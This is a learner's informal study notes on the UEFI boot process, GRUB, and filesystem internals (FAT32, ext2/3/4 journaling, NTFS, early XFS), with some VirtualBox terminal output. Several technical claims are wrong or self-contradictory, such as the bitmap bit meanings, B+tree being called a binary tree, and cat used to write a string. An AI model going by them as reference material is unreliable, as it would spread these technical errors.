BASICS

UEFI / GPT Partition Layout#

Key concepts#

• EFI System Partition (ESP): FAT32, min 512MB, mounted at /boot/efi
• GPT vs MBR: GPT required for UEFI boot, supports >2TB, 128 partitions
• Boot process: UEFI firmware → EFI stub / bootloader → kernel → initramfs → init

What happens from power-on to PID 1#

1. UEFI POST → reads EFI boot entries from NVRAM
2. Finds EFI executable (grubx64.efi or linux.efi stub)
3. Loads kernel + initramfs into RAM
4. Kernel decompresses itself, initialises hardware
5. Mounts real root filesystem
6. exec() /sbin/init (systemd as PID 1)

Primary sources#

• Arch Wiki: Installation Guide — wiki.archlinux.org/title/Installation_guide
• Arch Wiki: GRUB — wiki.archlinux.org/title/GRUB
• Kernel docs: kbuild/makefiles.html

UEFI: Unified Extensible Firmware Interface .#

definition :#

UEFI is a specification for the firmware architecture of a computing platform.  so we already mentionned what uefi stand for, specification here means the set of rule of standards that describe how the firmware should work, firmware is a software stored in hardware, architecture means the design or structure of that software, a computing platform is a laptop, desktop, a computer device .
so uefi is the first software that run when a pc is powered on . it replace the bios or it's the new bios. and bios is developped by IBM while it's intel that developped the efi, which later became uefi, backed by many companies .
so the bios (basic input output system) is a firmware stored in chip which is the rom, a non-volatile memory, can't be modified, and owned by ibm means companies that manifacture computers can't use the bios so it was reverse engineered, and uefis was created based on it Correction: the bios was reverse engineered to make a new compatible bios, but uefi is new firmware architecture that replaced bios. it has two primary roles :

• intialize and test harware, and provide run time service, means it initialize the bootloader which intialize the os kernel, and the bootloader for bios and MBR is stored inside storage harware (ssd, hdd, ...) in the first 442bytes while today, it has it's own .efi file stored in the esp partition. when installing and os. so the bios initialize that bootloder. however, latest uefis stores the firmware in a non-volatile memory that can be modified or updated, the thing is that modifying the uefi is risky, a non succeded update or modification can break the moderboard, or modification can expose the uefi to exploits or security failures such as bios rootkits .
  and for uefi the structure or the design is the same across all motherboards or harware while the implementation change based on the harware each computing interface provider has it's own implementation .
  so the uefi replaced the bios that had many limitations, and modern os stoped relaying on the bios for interruptions, instead, the kernel handle harware accessibility by communication with the driver through it's code or it's api .

GRUB: Grand Unified Bootload#

we already sayd that the bios or the uefi, test hardware then initialize the bootloader, the .efi file stored in the EFI system partition called ESP, and before, it was written in the first 442 bytes .
so GRUB is a multiboot bootloader, means for multiple os installed in the same computing interface or pc, give you ability to choose the os that will be loaded . by finding the kernels partitions responsible for booting, for linux it's /boot specificly the vmlinuz file, then display a menu to choose which os to load then load the os kernel and the initramfs file responsible for ram filesystem into ram, then gives control to thee os kernel Correction: when the kernel loaded and take control, it uses the initramfs file to load first or early drivers. then mounts the root file system, which is /root and subfiles like /home for users ..., then it loads the init/systemd parent of all the processes . However, there is two grubs, grub legacy which is the first created grub now it deprecated, and grub 2 the new one, both serve the same purpose that we talked about, the difference is how they achieve it. and grub two is more feature rich . so we will create a table that compare the two, but first, we need to understand some concepts to fully understand .

grub modules and extensions#

so for grub legacy and grub 2, both have same concept in module or extensions, and extensions are the grub's module, so you we can say that the two words are the same .
so each module has its own file or it's own core, when it need a module it load it's file. because dumping all the model in one giant file is a bas approach, it will load unessecary module .
here is the grub architecture :
UEFI -> grubx64.efi -> GRUB Core -> - ext2.mod - fat.mod … the grubx64.efi is the file we already mentionned, the one that be loaded by the uefi, it's the bootloader's file sitting in /boot, --GRU Core is the directory when the modules are sitting or stored--, *.mod is the modules.

filesystem#

In general filesystem is how files are stored in a partition, it's not how the storage is divided, the divisions of a storage device (disk dur, hdd, ssd) are the partitions, while filesystem is how files stored in that division which is the partition, Update: the filesystem contain blocks, you can see blocks as bytes, so it's not about files or containt but it's how the partition is divided, a blocks contain N bytes you can absolutly presize how many bytes should each block contain but it's fixed all blocks should be same size for taditional filesystem, but there are exeptions.
And the whole storage device is divided into sectors, like 4MB sector then partition are created on top of those sectors then the blocks on top of that partition .
and for traditional filesystems a block belong to one file, and a file can have multiple blocks, so specifying 128MB in each block will be a wast because a 1MB file need a block blocks are 128MB, so 127MB is wasted
so the main or the general filesystems are (we'll undersrtand each one):

• FAT32: used for EFI system, uefi can read it .
• ext2: for files of older linux .
• ext3: ext2 + journaling .
• ext4: today's linux filesystem .
• NTFS: used by windows .
• XFS and Btrfs: advanced lnux filesystem .

first what is journalisme ? journalisme is an operation or aproach that happens when writting data to the storage, saving a file "ctrl + s", writting data, updating fileystem metadata. what is filesystem metadata ? a file is it's content and it's name, location, size, owner, permissions, modif / create / access time, which block the file is stored in, number of hard links . so filesystem metadata is the description of the file, anything but it's content . what is a hard link ? so links are divided into two types :
hard link, which is another name for same file, both shares same metadata, use cases :
exp: report.pdf , backup.pdf . here backup is the hard link both point to the same inode, and inode (index node) is a data structure stored in inode table created when formating the partition . and inode is the very last element before the data block, means it's like a pointer to the data block, so hard links share same inode, deleting one of them, the original or the link will not affect the other file .
soft link is a file that stores the path of the original file, it's like a shortcut to the original file, deleting the original file will make the link broken .
so journalisme is like a log of the operation logged before the operation, in case a miss or fail in the writting data operation, will be recovered from the journal .and one journal is shared across the filesystem .

filesystem understanding (one by one)#

sources: [@36JournalJbd2] [@3GlobalStructures] [@Ext3txtFilesystemsDocumentation] [@SecondExtendedFile]

• fat32 stand for file allocation table 32bits, fat32 instead of blocks it has clusters and clusters contain sectors, each sector occupie 512bytes and each cluster has 8 sectors update: a cluster can have more than 8 sectores, it depens on how filesystem was formated ., and maps it's clusters in file allocation table, can be seen as a list, where each entry's size is 32bits, 28bit for the cluster number / value, an entry can contain a cluster number or a value like EOF EOF is never stored in a cluster when we say values it's like free, bad(damaged) ... . so you can see it as a (list chainee), where each cluster refers to the next cluster, it's like : file -> cluster 5 -> cluster 19 -> cluster 1 -> EOF note: that the EOF is not stored in a cluster but the last cluster refer or point to EOF ., but how we know a file's first cluster, simply it's the directory containing the file that map each file with it's first cluster . files/report.pdf , files/ contain report.pdf -> cluster 5, the cluster 5 refer to cluster n ..., so file allocation table it's just linking the clusters but file's data is inside the clusers . and FAT32 is simple and compatible used by uefi to read like the .efi bootloader's file, or by usb / sdcard ...'s driver to read from, when we say compatible it means that it don't need an extensions or like software to read from it . but FAT32 limit files up to 4GB each one, more than 4GB can't be stored even if there is room for it, and dont spport permessions, and less reliable after crash because it dont support journalisme .
• ext2 stand for second extended filesystem, built after ext1 which had many problemes, but the two built to solve the limitation of early 90s filesystem mimix, so the ext2 is more futures rich than fat32, it support permission, ownership ..., and hard links because uses inode (index node) instead of cluster table, and an inode stores, the file metadata along with the blocks pointers, blocks are the alternative of cluster. and inodes are stored in inode table, like inode inodes[max] = [{permission, ownership ..., [100, 101, 102]}], and for every file it's parent directory maps each file with it's inode. and primarly used by linux filesystem. but it does not support journalisme, which make it risky or hard to recover lost data after a fail or corruption . i think that we should see ext2 internal architecture . it's like this :
  filesystem (ext2)
  |
  |— super block
  |— block group descriptor
  |— block group N
  |— — block bitmap
  |— — inode bitmap
  |— — inode table
  |— — data block
  so the super block stored the filesystem metadata, which are: block size, total inodes, total free inodes, total blocks, total free blocks and system uuid hich standfor universally unique identifier which is 128 universally means the identifier should be unique in the entire univers simply because you can buy a hard disk from let say buy it online new ziland "the most far away country from morocco" and plugged in my pc, they shouldn't have the same uuid. then block group descriptor, the blocks are blockes are grouped in groups , when we say blocks we also talk about inodes, so each group contain it own inodes and blocks because it s not efficient to put all blocks's inodes in one giant inode table, so groups contain block bitmap a bit for each block mentionne if used or free, 0 = used | 1 = free update :
  filesystem (ext2)
  |
  |— super block
  |— — system uuid
  |— — total blocks
  |— — free blocks
  |— — total inodes
  |— — free inodes
  |— block group descriptor
  |— — descriptor for group 0
  |— — — inode table : block 10
  |— — — blocks bitmap: block 7
  |— — — inodes bitmap: block 9
  |— — — free blocks : 8425458963 (counts not block number)
  |— — — free inodes : 754263 (also counts not block number)
  |— block group N
  |— — block bitmap : content
  |— — inode bitmap : content
  |— — inode table : content
  |— — data block : content
  so the super block stored the filesystem metadata, which are: block size, total inodes, total free inodes, total blocks, total free blocks and system uuid hich standfor universally unique identifier which is 128 universally means the identifier should be unique in the entire univers simply because you can buy a hard disk from let say buy it online new ziland "the most far away country from morocco" and plugged in my pc, they shouldn't have the same uuid. then block group descriptor, the blocks are grouped in groups , when we say blocks we also talk about inodes, so each group contain it own inodes and blocks because it s not efficient to put all blocks's inodes in one giant inode table, then the block group descriptor, than contain for each group a description, inode table that map each inode and it's blocks "already talked about this" where it located which block it's like a pointer but it's not a pointer is the block number, then the inodes and blocks bimap which for each block and inodes flag if used or free, 0: used | 1: free, then free inodes and block count, inside the block group we find the actual data stored inside blocks.
• ext3 stand for third extended filesystem, it's the same as ext2, plus journalisme "already talked about both", but what is the structure of a journal ?
  file system (ext3)
  |
  | — same as ext2 …
  | — journal
  i tried to understand the jounrnalisme but i land on a conclusion, it's impossible to understand journalisme, without knowing how the operation on hard disk works, how writting, updating or modifying … works . so we ll understand it first then come back to journalisme .
  so there are types of filesystem operations or transactions update: a transaction is a jounral operation, we cant say filesystem transaction ., but they are not all written in the journal like read from a file, doesnt have to be written because even if the operation didn't succed no corruption will happens update: and it does'nt change the files metadata, so type of transactions are:
  open, create, read, write, append, rename, modify, delete (unlink), link (hardlink), symlink(symbolic link | soft link), move, change permission, change ownership, truncate (modify file size), mount, unmount .
  as we said not all the transaction are written in the journal, the main ones are : create, write, rename, modify, link, move … note: write and append are not always journaled, journaled when the operation write | append change file's metadata, example the append or the write will grow or chrink the file so it will need or allocate new blocks or inodes, case when write | append won't be jounraled if write override a signle caracter or byte, so it won't need a new block or a new inode, node metadata changes .
  update: write and append are always journaled because even writing or overriding a single bit, change modification time .

| — append | write (chrink or grow the file)
| —— allocate blocks
| —— update inode
| —— update bitmap
| —— journal

| — append | write (same block)
| — write data
| — existing block (no journalisme)

so we'll go with create sins it cover or touch most of the filesystem structure.
| — create file
| — find free inodes
| — update inodes bitmap
| — find free blocks
| — update blocks bitmap
| — write inode
| — write file's data
| — update directory
by write inode we mean writing the file's metadata in the inode such as permissions, ownership, size …
and we already said that the directory contain a map each file to its inode, so creating a file is creating an entry directory changes, rename is modifying a entry so directory changes, any transaction or operation that change the mapping of the filename to it's inode, updates the directory.
we already said that the directory points each filename to it's inode, and an inode belong to one file, and a file can have only one inode, and inodes have fixed blocks number, example can have only 128 block update: an inode doesn't have blocks, it size isn't mesured by blocks, instead can have like 128 bytes or 256 bytes, and inside those bytes lived the pointers ., we already talk about this, the question here is what if a file is 1TB size ?, 128 x 4KB will not fit it .
the solution is indirect pointers, means those 4KB blocks in the inodes doesn't store the file's data, instead it stores pointer to other blocks inodes but blocks update: the correct wording is the inode pointe to a block, the block content is not file's data but pointers to other blocks ., because inodes are created when formating the filesystem, but block aren't assigned to inodes, instead blocks are free, only when an inode is used then it takes blocks. so it look something like this :
| — filename -> inode #45
| — inode #45
| —— block N
| — — — pointer to another block (not file's data)
so back to jounralisme:
an operation that change metadata -> log or write the the metadata in a journal's first -> write commit block -> copy metadata to filesystem executing the operation update: not exeting the operation but updating the file's metadata -> mark the journal entry free to be reused. we'll look inside the a journal entry .
so the journal does'nt protect the actual data, it protect the file's metadata, because when executing a write, let say cat 'hello ext3' >> filee.txt, first the data "hello ext3" are directly stored in blocks, wait how the content knows where it should ne stored ? response: write, create … is a request sent to the kernel, then the kernel after checking metadata, see through the storage device's driver, looking for free inodes or blocks based on inodes | blocks bitmap, finds free space in block 500, tells the driver to store those 10bytes in the block 500. so the transaction is like this :
write file data (content) -> allocate an entry in journal and store a copy of new file's metadata -> write commit block, the very last block that mark the transaction succeded, then copy the journal's new file's metadata to the main filesystem. what is the structure of a transaction ?
|- jounral
| — journal superblock
| — — magic number
| — — block size
| — — journal size (in blocks)
| — — first journal blocks
| — — sequence number
| — — head
| — — tail
| — — features flag
| — — uuid
| — — checksum
| — transaction #511
| — — descriptor
| — — — magic number
| — — — transaction is (511)
| — — — tags number
| — — — tags[]
| — — — — tag N -> filesystem block 521
| — — metadata block N
| — — — updates inode
| — — metadata block N
| — — — inode bitmap
| — — metadata block N
| — — — blocks bitmap
| — — commit block
| — — — header
| — — — — magic number
| — — — — block type
| — — — — transaction id
| — — — commit record
| — — — — checksum
| — — — — timestamp
| — — — — other fields
| — — — reserved / padding
so the journal's first element is the journal super block which contain the magic number i think that we already understood it's a fixed signature to verifie if this data is a valid journal data or it's a data, block size is the setted size of each block, journal size is fixed like 100MB but can only 20MB used remain are free, journal first block the first block number in the journal, sequence number the last transaction id is 552 the sequence number is 553, head is the next free block to store in, tail the first allocated block, feature flags the feature or the extensions that the journal have because it depens on implementation (advanced specifique implementation) and feature are not stored by their name but by bits 0 not supported | 1 supported and the flags list is already difined or universelly structure the super journal in secion feature flags sotes 01100101, uuid the filesystem id already talked about, checksum is an intergrity check but how does it work ? so it's not an encryption neither a hash exampe we have data "lebron james" the ascii update: it dosn't compute the ascii, instead it compute the raw bytes of those caracters is computed using an algorithm to ouput something like 0x5f14a, when using the data, first we check it by performing same algorithm operation then the output should be the same as the checksum stored then we identifie it as valid data otherwise it's corrupted.
next is transaction listed by it's ids, so each transaction contain ad descriptor that contain magic number to know it belong to this journal, the transaction id, the tags number and tags them selfs, what are tags ? what do it serve ? we'll be back to it first we should understand the metadata, metadata are inside the transaction and it contain copy of data by data we means the file's metadata not file content, so metadata 1 contain updated inode bitmap, metadata 2 contain updated block bitmap, metadata 3 contain the updated inode. in general it contain all the updated metadata stored in sections not all metadata in one place. back to tags, tags number is same as metadata number, and each tag refer to the block that the metadata will be stored in. tag 1: block 578 -> metadata 1, then the commit block which is the success indicator of the transaction that contain a header: magic number, transaction id, block type that indicate that this is a commit block. but how does it mention or indicate it obviously it's not a sentence? so it s very simple an integer or a enumeration like a syscall 0 stdin 1 stdout ..., 1 descriptor block, 2 commit block ... . then the commit record. wait what the commit record contain ? the commit record contain checksum, timestamp, other fields. then reserved / padding, so the universial structure is to allocate a relatively big size that the commit record's size, in the future if we add an extension, field or a feature we won't need to change the whole structure because we already have emtpy space, researved is how much the commit record reserve, it's actual size. so padding and reserved are physicly the same thing but conceptually no, like padding is this reserved space is for one commit record structure, while reserved is this space is allocated so in future if we expand it, we won't have problems .
so enough for ext3, now we'll dive in ext4 .

• ext4: so ext4 is ext3 + improuvement, but a little heavy improuvement and it's because of many reasons, ext3 was introduced in 2001, when disks where gigabytes, after that time quicly the storing was terabytes and bigger than terrabytes, databases, virtual machine, laarge files. so ext3 became less performante or it is not the guy for those tasks. that when ext4 was engineered or built on top of ext3, where improuvement are added, those improuvements are : extents, delayed allocation, multiblock allocation, larger filesystem, faster filesystem checking, improuved journal (jbd2), persistent preallocation, nanosecond timesamps, metadata checksum, backward compatibility .
  • extents: ext2/ext3 when storing pointer or blocks number "already talk about it" it stores it as a list block 502, block 45, block 87. the probleme here is that for large files storing pointers like this makes the metadata too large . the extension extents rather than storing one by one it stores it in range like block 503 to block 2001, but for the ext2/ext3 writing to disk or to blocks approache the extents extension is useless because ext2/ext3 look for whever free block and write directly it just need to be free, that where the delaed allocation extension solve this so extents and delayed allocation depend on each others .
    a usefull info: the allocation of blocks far than each other called fragmentation extents and derlayed allocation solve the fragmentation problemes .
  • delayed allocation: ext2/ext3 when writing to disk, the operation goes like this: write -> allocate free blocks -> write to ram -> write to disk ,the disadvantage here is example a file that grows first it's 50MB, allocate free blocks for 50MB, then grows to 150MB allocate for the extra 100MB then … to 1GB. in the end the file's inode will look something like block 500 block5 block 1002 block 203 ..., extents is useless here, so delayed allocation does write -> write to ram and wait few second (if another write is called it will write in ram) so if that file grows quickly it grow inside the ram, when it's time to write -> allocate blocks (not randomly but trying to find the best spot a sequence of blocks that will fit the data need to be written meaning same size) -> write into blocks (now the data inside ram no matter how many writes were called will be stored one time)
  • multiblock allocation: we already mentionne it's allocating the best fit like the best sequence of blocks rather than allocation by allocation by allocation …
  • larger filesystem: i some section we talked about the max filesystme size max files size ..., the maximum value were increased allowing the filesystem to store bigger data size. and number of files was increased related to previous ext versions.
  • faster filesystem checking: well the filesystem checking is when a interruption or a improper shutdown happens, when booting the filesystem perform a check. the filesystem checking happens to insure that the data is valid or correct, like is block N correct, is inode N correct ..., so the filesystem check the whole filesysteme, and this may take minutes to hour for larger filesystems, so ext4 reduce the filesystem checking time by adding some metadata like block 200 to block 20000 is unitialized, so we'll skip it, stores like a metadata that describe a structures if valid. what structure are we talking about here ? it's filesystem structures so previous ext version didn't store checksum for all of the filesystem structures, like super block is a structure, journal is a structure so when performing the filesystem check it check structure nested structure ..., ext4 solved this by storing structure checksum so the filesystem check will compute the big structure compare it to the checksum and knows if the data are valid or no. so this give a faste boot after crash, and faste recovery.
  • improuved journalisme (jbd2): an info that we miss is the jbd that stand for journal block device which is journal so it's just like an abreviation, sso jbd2 is a better version of jbd the architecture and structure didn't change, what changed is the implementations, so first is better checksum. we know what a checksum is but what a better checksum means ? so ext4 adapt a better checksum algorithm CRC32C than ext3 CRC32. we will understand those algorithm and look inside it but later . beside the algorithm jbd2 checksum cover more fields. like jbd journal checksum was computing the comit block or record and store it checksum, so to check it later, but what if the curruption is in the descriptor or in the metadata ? that why jbd2 cover those fields, it's a one checksum not multiples but compute not just the comit block but the whole structure. then a support for big blocks numbers because big storage means big blocks big files ..., in 2001 max blocks like can be thousands now it's billions if not trillions and more . so jbd2 is made for this. bigs blocks number means big journals and big journal entrys so it support large journals. all of this lead to a better performance. improuved recovery reliability we already mentionned that the checksum cover more fields so if the interruption or the crash happens in a metadata but the checksum for commit is valid, then it's a not good situation. so by covering more fields if the crash happens in a metadata the checksum verification will indicate that the transaction is not valid so it will be ignored.
  • persistent preallocation: so services or applications like vms or databases grows in realtime, can grow by gigabytes or more, so persistent preallocation give the ability to the application to reserve a fixed size even if the application have not write data to that reserved space giving it the ability to free expand . i gave an example by vm when creating specifying 80GB for disk and a part of it. however, this is not a preallocation it's called thin provisionning . a correct exaple is a database database.db reserve a 80GB use 20GB so it's the file not the application. but i think that the thin provision deserve an understanding so i ll shift a little understand it then return to preallocation. why ? because why not . yep it's a false positive, the hyperV also stores vm in file often in, actually i ll check it right now in my pc . so creating a vm the hyperV give you the ability to choose a dynamic allocation which is the thin provisioning or fixed size allocation preallocation.
    here is a picture, if the box "pre-allocate full size" is checked then it'll be a preallocation, and default is thin provisionning . more here is a inspectation of an existing .vdi .

~/VirtualBox VMs/ubuntu_1 $ ls -al ubuntu_1.vdi 
-rw------- 1 donaldbuffer donaldbuffer 9715056640 Jun 23 20:52 ubuntu_1.vdi
~/VirtualBox VMs/ubuntu_1 $ VBoxManage showhdinfo ~/VirtualBox\ VMs/ubuntu_1/ubuntu_1.vdi
UUID:           db4aab48-f225-45ca-aaa7-ed6ead6e517d
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       /home/donaldbuffer/VirtualBox VMs/ubuntu_1/ubuntu_1.vdi
Storage format: VDI
Format variant: dynamic default
Capacity:       40960 MBytes
Size on disk:   9265 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
In use by VMs:  ubuntu_1 (UUID: d9115a68-73f8-4ac8-940c-e10286db01eb)

what s important here is the Format variant: dynamic default, this indicate that it's a thin provisionning. not fixed grows as more data is written . so thin provisionning is that the file has'nt a fixed size instead it keep growing, and write more blocks .and the preallocation is assigning a fixed size, block written in the space used and free in the space not used.

• nanosecond timestamp: previous ext version store or write data to block in 1 second, ext4 write it in nano seconds. but how ? ah it's not the speed it's not the speed it's accuracy, previous versions of ext record the timestamp which is metadata as hour:minute, ext for record in nano second like this :

~/VirtualBox VMs/ubuntu_1 $ stat ubuntu_1.vdi 
  File: ubuntu_1.vdi
  Size: 9715056640	Blocks: 18970960   IO Block: 4096   regular file
Device: 259,2	Inode: 2269238     Links: 1
Access: (0600/-rw-------)  Uid: ( 1001/donaldbuffer)   Gid: ( 1001/donaldbuffer)
Access: 2026-07-08 01:35:34.813435846 +0100
Modify: 2026-06-23 20:52:52.384961743 +0100
Change: 2026-06-23 20:52:52.384961743 +0100
 Birth: 2026-06-21 23:44:50.463146398 +0100

all timestamps are in nano seconds .

• backward compatibility: is that ext3 can be upgraded to ext4 without need to format the partition, and ext2 can be mounted by ext4 trough the driver ext4's driver .
  [@Ext4DataStructures] [@3GlobalStructures] [@36JournalJbd2]

• so now we'll look trough NTFS, XFS and BTRFS, but with a not deep as the previous filesystems . first getting an overview for of all the three, NTFS we already mentionned that it's the filesystem used by windows, for it's feature or the it's internal components we'll cover: Master File Table (MFT), File record, Attributes, Journaling, Security descriptors, Compression, Encrypting File System (EFS), Alternate data stream (ADS) . the visual structure is :
  NTFS filesystem
  |
  |— Volume layout
  |— — Boot Sector
  |— — Master File Table (MFT)
  |— — — File records
  |— — — — Attributes
  |— — — — — Standard Infos
  |— — — — — File Name
  |— — — — — Data
  |— — — — — Security Descriptor
  |— — — — — Index Root (directorys)
  |— — — — — remaining attributes …
  |— — — Metadata Files
  |— — — — $MFT
  |— — — — $MFTMirr
  |— — — — $LogFile
  |— — — — $Bitmap
  |— — — — $BadClus
  |— — — — …
  |— — Data Clusters
  |— Reliability
  |— — Metadat Journaling
  |— — $LogFile
  |— Security
  |— — Security Descriptors
  |— — Access Control Lists (ACLs)
  |— — Security Identifier (SIDs)
  |— Storage Features
  |— — Compression
  |— — Sparse File
  |— — Hard Links
  |— — Resparse Points
  |— — Alternate Data Streams
  |— — Encrypting File System (EFS)
  note that there are two NTFS the first is the official used and implemented by microsoft and it's closed source, microsoft provide the structure, api and how to work with it, but the source code or the implementation are not publicly available, then there is the NTFS implemented, and partially reverse engineerd the official one, maintained by linux and open source. both have same structure but the implementation what change between the two . so conceptually NTFS is centralized over the MFT compared to ext that more like each structure is independant than the other but shares some characteristics . we already visualize the MFT we'll slightly go more deep, first boot sector it's like that map entry of the filesystem, when first mounted, the system should know where the MFT is stored, because it contain the metadata needed to know that filesystem so the visualized overview of a bootsector is :
  boot sector
  |
  | — filesystem informations
  | — volume informations
  | — MFT location
  | — MFT Mirror Location
  | — Cluster Size
  | — Volume Size
  | — Boot Code
  the actual internal structure is : so i m not planning to studie windows internally, so i ll not go inside the internal structure but instead i ll get an deep enough overview and compare it to ext .

Foundation#

we already understanded FAT32 and the solution linux adopted is ext, for microsoft NTFS was the solution, because of the FAT32 limitation, small files, no indexes, no security (permissions, ownership), no records (update, creation, modification) ..., and FAT32 was ok for gloppy disk or small storage units note in general for a single user that the timeline we're talking here about is 2001. however large organisations universities, companies ..., needs way more storage and management than the FAT32 provides, so this is the why ? and the how is that microsoft introduced NTFS for security it adapt the ownership, permissions, ACLs access control lists, for back then linux there was ownership, permission, and groups. a user who is not in a group can't have any sort of access to the file or permission. however, nowadays it's not the case. but ntfs when intoduced it had the acls feature which is a list of who other than the owner, group can have access to the file, the access controll list store something like :

owner: bob  
group: dev  
acls:  
john -> read
alice -> write + read
...

auditing informations the name explain the feature audit is to record or store each user and what file did he access, why and when did he access it so something like this :

23:00:15 alice report.pdf read
23:00:15 john  employees_name.txt write

reliability we already know that FAT32, when performing an operation it does it directly, write -> write to disk. the probleme is recovery a crash or a shutdown during the operation, lead to corrupted data … NTFS like ext introduce journalisme which we understand it deeply, same philosophie i mean same idea, difference implementation both serve same objectif.
next probleme is the scalability which is one of the critical limitations, organizations need big storage, when we say big storage is not just space, but it's search for a file in a big filesystem, create many files in seconds, delete files like temporary files in second or millisecs, fast writing to disk ..., so ntfs make this kind of operation fast and scalable . by the MFT Master file Table, file records, attributes, more related sophisticated features. i think that we should deep a little more. what do you think fellow ? guess what, i m the ones who dictate what to do and how and when and why we should do it ."frank underwod character", anyway, so when talking about MFT we're talking about the related fields or extensions MFT is an index of the whole filesystem and the rule is everything is an object, file, directory, even the MFT is an object, and each object has a file record, so inside MFT there is file records, inside the file record there is attributes, and attributs idea is very clever, file record store metadata, but not as a structure, like the file record's structure is :

ownership
permission
group
...

instead it's

file record
|
| --- attribute 1
| --- --- permission
| --- attribute 2
| --- --- ownership
| --- attribute N
| --- --- encryption
....

so in the future if we want to add a fields or extend the file's metadata, there is not need to touch the structure, change or expand it. instead if we add like encryption, we add an attribute. then the allocation strategie is simillar to what ext4 has and note than NTFS works with clusters not inodes the difference is a file has one inode, in the opposite a file can have multiple clusters and clusters are equivalent to blocks, no inodes, so the cluster instead of

report.txt -> data attribute -> cluster 0 cluster 500 cluster 7

and entry for each cluster, and cluster are allocated randomly "fragmentation". so the solution is storing ranges, not individual clusters .

report.txt -> data attribute -> cluster 500 to cluster 1600, cluster 2800 to cluster 4000

note not only one range but multiple ranges . so the flow is this :
open file 'report.txt' -> search in MFT for the file's record -> find the attribute that stores the metadata -> locating the clusters that contain the content -> read the cluster's data from disk .
already talked about attributes which not only makes it extensible but also make the file's metadata rich, by storing not only the name like FAT32 does but also the ownership ..., timestams: creation, modification, updating. hold on, what is the difference between modification and update ? so the modifcation is changing the filestate, updating is like after the change. but both work together when one occurs the other also triggred, modifying report.txt to report1.txt the filesystem make an update in metadata .
and businesses need more than that. a list of what they need that we'll understand it element by element: transparent compression, per-file encryption, quotas, hard links, symbolic links, sparce files, reparse points, change journals.
transprent compression: is rather than compressing the file manually, it's the same operation but nfts do it automatically, storing a file -> NTFS -> compress the file -> write to disk, opening a file -> NTFS -> read from disk -> decompress the file -> receive the original data or content . efficient for laaarge storage . per-file encryption is an interesting part. the why is what if an attacker stole the SSD ? he'll mounted and get all the files, so NTFS here use a symmetric encryption basically same key for encryption and decryption so when opening a file along with decompress there is decrypte, using the key, close the file compress and encrypt using the same key. the question here is if an attacker stole the ssd it will find the key and decrypt the file. that why NTFS add another layer of encryption this time using the user's public key (asymmetric), the question here is if an attacker stole the ssd he'll look for the private key then start decrypting. so in large corporations where security is a priorities the secrets or the high sensitive infos but not content like a sensitive file content it will be encrypted hower sensitive like the users private keys, are not stored in the ssd, but there are TPMs (trusted platform module) which basically are ships a hardware components that it's only job is to store those infos. the question here is the attacker can stole ssd, why not steel TPMs, so TPMs are not external devices, plugged devices instead are internal the right term is soldered in the motherboard come with it from manifactures you can see it from outside like ROM, but it's not the case ROM is read only and relatively simple, while TPM are a cryptographie component and not just a storage device it has it s own processor so it generate keys, it make cryptografie operations … it's nothing like ROM and Measures system integrity, what do this means ? so this is for very low level exploits, has nothing to do with filesystem, partitions ..., so the TPM record some booting hashes, during boot important component are hashed, but what is get hashed ? what hashed is the executable file, we mentionned earlier that the UEFI file is stored as .efi in /boot, so thise file get hashed, then the bootloader's executable file hash, then the kernel ..., and the TPM does not compare, it's only job is to compute then a software like bitlocker that compare it has the expected value stored, then get the computed hashs note that for each component can have more than one hash, then the software compare. if verification is positive decrypt files automaticly otherwise do not decrpt . should store sensetive infos. what about a vm does it store in same TPM or there is a virtualization extension like cpu or what ? the answer is the hypervisor stores those sensitive info in a virtual TPM, and hypervisor is in the host if not is another vm and the host encrypt it's keys and store in TPM, so steeling the ssd that contain the vm will not expose any data. Quota simple example the entire organisation's storage is 10TB a user stores 8TB, filling the whole disk, so Quota solve this by giving the administrator the ability to assign to each user a maximum storage like

alice -> 50GB
bob -> 3TB
...

Hard link already understanding it, but we understand it with inodes, it's not the case here NTFS stores in clusters, so we'll see how things work. ah so clusters are storage unites, the metadata is what relevent, and metadata are in MFT, as a file record so both the filename, and the hard link point to the same file record .
symbolic link, softlink are shortcut pointing the the original file at a high level.
sparce files, same concept as thin provisionning, store as it grow, a database that needs 100GB, but store only 5GB content, will get 5GB plus the needed application storage .
reparce points are a flag inside the file record that tells if this is a normal file or no. like open report.txt -> is it a reparce point ? no -> find file record -> clusters -> return to the application . but for a soft link: open shortcut -> is it a sparce point ? yes not a normal file -> hand it to the kernel component that manager this kind of file -> .…
change journal we previously see that the journal entrys or records get overrided, here the journal keep some history of the transaction, for some services or application, to not go through the intire MFT. supposing we have bunch of million of files .
[@$MFT0File] [@grantmestrengthMasterFileTable] [@NTFSSystemFiles] [@NTFSFileTypes] [@NTFSMasterFile] [@NTFSOverviewNTFScom] enough for NTFS, we'll move to XFS, so everything we studied so far was solution for not realy problemes but limitation each filesystem was introduced, to follow here the IT world is going, file grows, high frequency operation write modify ...., I/O operations, large organisations infrastructures ..., so XFS is not a desktop orr single user filesystem, while i can be used by individuals but i want engineered to solve or perform for large scale infrastructures, organizations are not only entreprises but research and scientifique organisations that need science visualization, and 3D graphics, simulation, media … so XFS give a an extremely high I/O troughput example of a multiple computers that access data simultaniously, reading and writing 50MB per second for each one, like 100 x 50MB is 50GB a second, so the data travels between memory and storage by 50GB a second, ext can't handle this. i mean it can but i'll be very slow, a low performance. so XFS was introduced in early 1990 by SGI develops XFS for IRIX they develop it for their own os, SGI company which no longer exist "2026", was a computer manifacture but unlike dell or hp, they were building supercomputer and large organizations computers. so it was embeeded to linux in 2000 by SGI, which open-sourced it, because linux was adapted as a servers os by engineers and SGI wanted the linux users to benefit and contribute in it. so unlike ext XFS has not version, it's structure was mature and advanced so there was no need to make big changes, but i was evolved by the years decades incremently, engineers added features extend it ..., so between it feature there is allocation groups, extents, b+tree, parralele I/O operations. allocation groups are, we already see in the previous filesystems that the file system has a superblock or a MFT like NTFS there was a structure that stores the entire filesystem metadata, and the filesystem depend on it in if not every but most of the operations, XFS solve this by introducting allocation groups, where the file system is divided into groups, group 0 … group N, and each group manage it self, has it own centralized metadata structure ..., extents we already understand it, instead of each block has an entry or apointer, the blocks are allocated in sequence and the metadata is stored in ranges, b+tree is an alogorithm in btree family binary tree that makes the storage, fetch, deletion logarithmic means it does'nt just store read and search randomly but there is an algorithm for those operations make thos operation fast, the parralel I/O each allocation group can be used for whatever operation in parralel with the other groups, for multiple processes and processor, parralel operations …
so i'll go deep in this filesystem, it is more advanced. for b+tree i ll built an implementation with C later,
first the structure of XFS :
XFS filesystem disk structure
|
| — super block
| — allocation group
| — — ag super block
| — — ag free space management
| — — — agf (allocation group free space)
| — — — agi (allocation group inode)
